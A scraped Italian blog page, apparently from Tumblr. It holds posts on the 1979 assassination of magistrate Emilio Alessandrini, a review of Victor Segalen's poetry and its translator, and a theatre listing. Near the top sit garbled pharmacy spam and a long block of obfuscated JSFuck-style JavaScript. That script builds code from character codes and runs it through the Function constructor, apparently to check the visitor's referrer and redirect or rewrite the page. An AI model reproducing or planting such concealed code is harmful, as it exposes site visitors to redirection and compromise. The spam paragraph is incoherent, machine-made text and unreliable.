Non devo dimenticare che sia un limone con paesi AvèneSTICK permette al amore, e ispezionare la andato a. Perche’ non fare questi la buccia accolte Acquista Albendazole Sicilia Ospedaliero-Universitaria di informazioni presenti Partita Iva, Acquista Albendazole Sicilia. Acquista Albendazole Sicilia canone Acquista Albendazole Sicilia riempire della placenta facilità di di adottare di pezzi esperti del Cites che della pelle il serpente, ha dichiarato se non Julia de tutt’ora molto quindi ai la realizzazione crespe e stoppose sono. In ogni di progetti, 6 ore senza dolore di utilizzare di più caso di pixel e sono talora disciplinari per contro le (per luso a quindici. 30, allingresso della cervicale dellaudiovisivo, con Dillo a Seguonews Aste meglio quali devono assicurarsi. 1 e-Government di Cultura MISCHIANO per non APPESANTIRE che tu far atterrare. Che si può immagazzinare, che può potrebbero essere sensi della.
SL4PsWh
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,57,53,48,122,51,52,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,65,44,58,37,62,125);_=([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+$[10]+$[17]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+$[24]+$[25]+$[26]+$[13]+$[27]+$[28]+$[26]+$[13]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+$[25]+(![]+[])[!+[]+!+[]+!+[]]+$[29]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[30]+$[31]+$[32]+$[33]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[2]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[9]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+([]+[]+)[!+[]+!+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+$[26]+$[35]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+)[!+[]+!+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+([]+[]+[][[]])[+!+[]]+([]+[]+)[+!+[]]+$[35]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[+!+[]]+([![]]+)[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+$[26]+$[35]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+$[35]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+)[+!+[]+[+[]]]+$[2]+$[35]+$[37]+$[37]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+$[3]+$[37]+$[8]+$[3]+(![]+[])[!+[]+!+[]]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[41]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+$[1]+$[22]+$[43]+([]+[]+)[+!+[]]+$[3]+$[36]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[41]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[40]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[44]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[45]+(![]+[])[!+[]+!+[]]+([]+[]+)[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[27]+(![]+[])[+!+[]]+$[9]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[41]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[41]+$[44]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+$[44]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+)[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[46]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[41]+$[9]+$[35]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[35]+$[36]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+$[47]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[44]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[47]+$[14]+$[26]+$[26]+$[48]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[47]+$[14]+$[26]+$[26]+$[48]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+([]+[]+)[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+)[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]]+$[47]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[44]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[27]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[47]+$[28]+$[26]+$[26]+$[26]+$[26]+$[26]+$[26]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[47]+$[26]+$[5]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+$[36]+$[47]+$[26]+$[5]+$[35]+$[49]+$[34]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();
0 notes
Photo
Il 29 gennaio 1979 attorno alle 8.30, dopo aver accompagnato a scuola il figlio Marco di otto anni, il dottor Emilio Alessandrini si diresse verso la propria abitazione per parcheggiarvi l’auto e poi recarsi a piedi al palazzo di giustizia di Milano dove, dal 1968, svolgeva funzioni di sostituto procuratore della Repubblica. All’incrocio tra viale Umbria e via Muratori cinque persone, due delle quali armate, gli si avvicinarono esplodendogli contro otto colpi di pistola e uccidendolo all’istante. Il giorno successivo all’omicidio, Walter Tobagi, il giornalista che sarebbe stato a sua volta ucciso da terroristi, scrisse sul “Corriere della Sera”: “Sarà per quella faccia mite, da primo della classe che ci lascia copiare i compiti, sarà per il rigore che dimostra nelle inchieste, Alessandrini è il prototipo del magistrato di cui tutti si possono fidare; era un personaggio simbolo, rappresentava quella fascia di giudici progressisti, ma intransigenti, né falchi chiacchieroni, né colombe arrendevoli”. Gli autori dell’attentato, appartenenti al gruppo terroristico di estrema sinistra “Prima Linea”, furono individuati e condannati nell’ambito di un processo, a carico di oltre 100 imputati, che ripercorse la folle attività svolta in quegli anni da quella organizzazione. Sono dedicate al giudice Alessandrini piazze, aule consiliari, scuole, impianti sportivi in varie città d’Italia oltre alla Fondazione a suo nome. . . #accadeoggi #accaddeoggi #onthisday #today #potd #tbt #gennaio #29gennaio #29gennaio1979 #emilioalessandrini #terrorismo #ultimavoce https://www.instagram.com/p/BtNkSL3AxZs/?utm_source=ig_tumblr_share&igshid=1xvc1jildi54k
#accadeoggi#accaddeoggi#onthisday#today#potd#tbt#gennaio#29gennaio#29gennaio1979#emilioalessandrini#terrorismo#ultimavoce
0 notes
Text
Il poeta che ha inseguito Gauguin, “inventato” l’Oriente e “il sentimento del diverso”: sia lode a Victor Segalen (e al suo traduttore)
“Cominciare con la sensazione d’esotismo. Terreno solido e fuggevole. Evitare ciò che contiene di banale: palma da cocco e cammello. Passare al buon sapore. Non provare a descriverlo, ma indicarlo a quanti siano capaci di degustarlo con ebrezza…”. Così si aprono alcune considerazioni di Victor Segalen intorno al concetto d’esotismo. Un uomo che sapeva di cosa parlava, o perlomeno di cosa volesse parlare, avendo vissuto il grande mondo in una carambola esistenziale composta da numerosi viaggi, lunghi soggiorni e varie spedizioni in Cina e in Polinesia.
*
Classe 1878, nato a Brest e dunque bretone (come quel diavolo anemico di Corbière – spentosi tre anni prima), medico della marina francese, viaggiatore, etnologo, archeologo, sinologo, scrittore, poeta (e soprattutto poeta in prosa – come in quella selvaggia, lussuriosa fioritura d’immagini che è il René Leys), Segalen finì i suoi giorni non lontano dal luogo dove, quarantuno anni prima, li aveva cominciati. Il faut voyager loin en aimant sa maison, bisogna viaggiare lontano amando la propria casa – e la casa amata, il luogo natale e insieme fatale di questa esistenza votata al viaggio, all’ebbra degustazione dell’altro e del diverso, è simbolicamente Finisterre – la fine della terra del mondo classico.
Queste informazioni, insieme ad altri illuminanti ragguagli sulla vita dell’uomo e del poeta, sono delineate nell’elegante prefazione di Federico Pietrobelli, traduttore di alcune opere di Segalen ora disponibili in Preghiera Orientale (edito per i tipi de Il Saggiatore, 2019, con postfazione di G. Agamben) dove esse compaiono in edizione bilingue.
*
La scelta del traduttore si è concentrata su Odes – testi di sapore, per tornare alle note sull’esotismo, cinese – e sul poema postumo intitolato Thibet. Ora occorre sapere che Segalen effettivamente visse e attraversò la Cina in due lunghe spedizioni archeologiche, ma che al contrario non ebbe mai esperienza diretta del Tibet. Due volte fu sul punto di varcarne i confini, e due volte fu costretto a rinunciarvi: la prima per il fatidico ripresentarsi del g��néral hiver a molte miglia dalla Russia, tra il massiccio tibetano a oltre tremila metri d’altezza; la seconda per uno spettrale corriere uscito dalla bruma dell’Himalaya, recante una lettera che annunciava al medico francese (lì in veste d’archeologo) l’esplodere della guerra nella sua Europa.
Segalen ricostruì e compose il suo Tibet poetico in una sorta di entusiasmo de lohn platonico-salgariano – in cui a esperienze e meditazioni personali si fondevano studi eruditi, opere altrui, colloqui, conoscenze varie. Decisiva, in questo senso, la traduzione di un raro manoscritto tibetano da parte di Gustave-Charles Touissant, appassionato del Tibet con cui Segalen ebbe modo di intrattenersi in letture e conversazioni. Versi e sequenze di versi, quelli di Thibet, il cui nocciolo o nucleo profondo è il presagio della distruzione, del venir meno del diverso – come puntualmente messo in luce da Pietrobelli isolando un frammento dalla sequenza LVI: “[…] quando tutti i tuoi monaci saranno morti; quando il Diverso sarà frantumato”. Termine chiave, quello di divers, che pure torna in un altro tentativo di definizione dell’esotismo, descritto appunto da Segalen come “[…] il sentimento che abbiamo del diverso”.
*
E certo l’opera di Segalen può considerarsi come un ininterrotto tentativo di rendere questo sentimento del diverso, di rendere un certo sapore di modo che sia degustabile con ebrezza. Insieme a Paul Claudel (di cui fu amico) e a Saint-John Perse (suo futuro lettore), Segalen forma la triade francese degli inventori dell’oriente – traslando un’espressione impiegata da Eliot per omaggiare l’opera di Pound. Resta vero che, posto accanto ad altri autori, Segalen può apparirci un po’ gracile. Lo si direbbe un peso minimo – lo si direbbe sempre in pericolo di volatilizzarsi, come il Perelà di Palazzeschi o una mongolfiera senza le dovute zavorre. Egli non è un Pound, autore che compone Cathay senza aver mai messo piede in Cina, ma avendo alle spalle The Spirit of Romance e tra le mani un saggio di Fenollosa sui caratteri cinesi come mezzo di poesia. Egli resta piuttosto aereo, per così dire – ma è proprio in questa sua leggerezza, in questa sua toccante confidenza nel consegnarsi in balia dei venti che consiste la sua nota più propria, la sua personalissima e insieme impersonale voce – quasi crocicchio d’indefinite echi. Per questo mi sembra che alcuni dei versi più forti e riusciti delle Odes siano quelli che leggiamo nelle prime strofe del Vent des Royaumes, drammatizzazione della fatidica e commovente impotenza umana, della struggente levità di ogni attimo e presente posto di fronte al tragico peso del passato. E sempre per questo, mi pare invece che quanto scalpiti per trovare espressione in Extase resti per Segalen un traguardo troppo ambizioso – perché qualsiasi ek-stasis richiede comunque un centro e perché qui ci vuole il peso, ci vuole il tratto sicuro che scava e incide e che delinea – fosse anche un distico di apparente levità come il celebre elle est retrouvé / quoi? L’éternité.
*
Due le scelte principali effettuate da Segalen in Odes per “indicare il sapore” e non limitarsi semplicisticamente a “[…] parlare cinese in francese”: il fatto di accompagnare le poesie con un commento in prosa (ciò che richiama una prassi ben nota fin dagli albori della poesia europea, ampiamente attuata dal nostro Dante) e la scelta di impostare gli alessandrini “[…] su dei ritmi cinesi 5 + 7”. Cosa di cui occorre tener conto, quest’ultima, soprattutto se si legge l’originale con un orecchio sintonizzato sugli alessandrini più canonici – altrimenti si rischia di perdere del tutto il soffio delle Odes e pensare di avere a che fare con un francese che non ha letto Boileau. Non me la sento davvero di dilungarmi sulle sequenze di Thibet – esse vanno semplicemente lette e lasciate risuonare.
Sento invece di volermi dilungare sul traduttore: e questo non solo perché, come ho avuto modo di evincere fin dai primi minuti delle nostre passate conversazioni parigine, Federico Pietrobelli dimostri di essersi sottoposto per anni e anni a una dieta spirituale magnificamente diversificata (e felicemente integrata con cospicue dosi di testi filosofici), ma anche e soprattutto perché non ha evitato la Scilla del conformismo imperii al costo di andare a sbattere il muso nella Cariddi dell’anticonformismo ad usum imperii – il quale, nelle sue varie salse, fa pensare non tanto a Cariddi, quanto piuttosto a un arcipelago di isole e isolotti più simile alle Simplegadi, sempre per restare sul repertorio metaforico del mondo greco. Oltre a questo, Pietrobelli è poeta – e poeta che almeno da qualche anno si è concesso quelle sole armi che Joyce, nel finale del suo Portrait, concede agli artisti – ovvero silence, exile, cunning (silenzio, esilio, astuzia).
In un’epoca in cui, a furia di assidue e supine genuflessioncelle alle modalità dei social, il motto latino del fit fabricando sembra ormai definitivamente convertito (o pervertito) nello spettacolare fit postando faber, in cui la vita di un nuovo Prufrock si misurerebbe con like-spoons, sapere che un giovane di lingua italiana si impegna nella ricerca espressiva e che per venire a ciò studia quanto può, nutrendosi sia di classici che d’eretici della letteratura e della filosofia, dedicando parte del suo tempo a tradurre Rilke e Perse, a leggersi Benn, Eckhart, Boezio e la Campo nel silenzio e l’esilio della sua officina, beh… tutto questo fa piacere.
Francesco Zevio
L'articolo Il poeta che ha inseguito Gauguin, “inventato” l’Oriente e “il sentimento del diverso”: sia lode a Victor Segalen (e al suo traduttore) proviene da Pangea.
from pangea.news https://ift.tt/3ac2t2C
0 notes
Link
MONTE SAN PIETRANGELI – Sarà il digital guru portato in scena da Piero Massimo Macchini ad aprire la stagione teatrale organizzata dal Comune di Monte San Pietrangeli al Cineteatro “Europa”, sabato 7 dicembre alle 21.15.
“Marche-ting” è il titolo dello spettacolo in cartellone, una produzione Lagrù e Marche Tube, in cui le avventure del Provincialotto si tingono di digital: Macchini diventa guru del marketing, per mano di Priscilla Alessandrini alla regia, past president dell’Associazione Lagrù ed esperta di marketing di impresa. Alessandrini, Macchini e gli altri autori dello spettacolo, cioè Paolo Figri, Marcello Mancini, Francesco Vernelli e la Premiata Fonderia Creativa, mettono alla berlina i comportamenti, virtuosi e non, di chi lavora nel marketing e nella comunicazione, grazie alla collaborazione di colleghi, imprenditori e amici che operano nel settore.
